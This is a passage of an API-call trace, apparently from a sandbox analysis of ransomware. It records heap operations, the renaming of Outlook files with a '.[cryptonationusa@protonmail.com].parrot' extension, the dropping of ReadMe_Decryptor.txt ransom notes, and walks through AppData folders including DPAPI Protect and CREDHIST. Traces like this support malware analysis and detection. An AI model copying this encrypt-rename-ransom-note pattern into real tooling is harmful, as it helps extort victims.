| out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x5fc6d0 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x63fd10 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d5988 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63fd10 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0054.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0054.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0054.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0054.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0054.984] WriteFile (in: hFile=0x318, lpBuffer=0x28d7a10*, nNumberOfBytesToWrite=0xac8, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x28d7a10*, lpNumberOfBytesWritten=0x18f4b4*=0xac8, lpOverlapped=0x0) returned 1 [0054.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0054.984] UnlockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0054.984] CloseHandle (hObject=0x318) returned 1 [0054.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0054.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1be0 [0054.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0054.985] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0054.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1be0 | out: hHeap=0x540000) returned 1 [0054.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0054.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63e990 | out: hHeap=0x540000) returned 1 [0054.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0054.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0054.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0054.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0054.988] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0054.989] GetFileType (hFile=0x318) returned 0x1 [0054.989] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0054.999] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0054.999] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5c734300, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xafb6d5a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafb6d5a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.999] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5de69980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5de69980, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xafb47440, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.srs.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="OUTLOO~1.PAR")) returned 1 [0054.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0054.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0054.999] lstrcmpW (lpString1="Outlook.srs.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1be0 [0054.999] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6215c440, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xafb6d5a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="OUTLOO~2.PAR")) returned 1 [0054.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0054.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0054.999] lstrcmpW (lpString1="Outlook.xml.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1cd8 [0054.999] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafb47440, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xafb47440, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafb93700, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0054.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0054.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.999] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0054.999] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafb47440, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xafb47440, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafb93700, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0054.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0054.999] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0055.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0055.000] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33c0ebb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x33c0ebb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint", cAlternateFileName="POWERP~1")) returned 1 [0055.000] lstrcmpW (lpString1="PowerPoint", lpString2=".") returned 1 [0055.000] lstrcmpW (lpString1="PowerPoint", lpString2="..") returned 1 [0055.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0055.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0055.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55bf20 [0055.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0055.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0055.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0055.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0055.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0055.000] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0055.165] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.165] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33c0ebb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x33c0ebb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.165] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.165] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.165] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33c0ebb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x33c0ebb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.165] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x609048 [0055.165] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0055.165] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0055.165] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0055.165] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33c0ebb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x33c0ebb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.165] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33c0ebb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x33c0ebb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.165] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609048 | out: hHeap=0x540000) returned 1 [0055.165] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0055.166] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0055.166] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x510b16f0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x510b16f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof", cAlternateFileName="")) returned 1 [0055.166] lstrcmpW (lpString1="Proof", lpString2=".") returned 1 [0055.166] lstrcmpW (lpString1="Proof", lpString2="..") returned 1 [0055.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0055.166] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0055.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0055.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0055.166] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0055.326] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.326] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x510b16f0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x510b16f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.326] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.326] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.326] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x510b16f0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x510b16f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0055.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0055.326] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0055.326] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0055.326] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x510b16f0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x510b16f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.327] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x510b16f0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x510b16f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0055.327] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0055.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0055.327] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x541f1c70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x541f1c70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1 [0055.327] lstrcmpW (lpString1="Protect", lpString2=".") returned 1 [0055.327] lstrcmpW (lpString1="Protect", lpString2="..") returned 1 [0055.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0055.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0055.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0055.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0055.327] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0055.327] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.327] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x541f1c70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x541f1c70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.327] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.327] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.327] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x138, dwReserved0=0x0, dwReserved1=0x0, cFileName="CREDHIST", cAlternateFileName="")) returned 1 [0055.327] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1 [0055.327] lstrcmpW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2=".") returned 1 [0055.327] lstrcmpW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="..") returned 1 [0055.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0055.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0055.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63c9a8 [0055.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0055.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0055.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0055.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63ca90 [0055.328] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0055.328] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0055.352] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.352] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.427] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.427] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.427] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b9bd87, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", cAlternateFileName="BE5B4F~1")) returned 1 [0055.427] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1 [0055.427] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0 [0055.427] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63cb78 [0055.427] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0055.427] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0055.428] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, 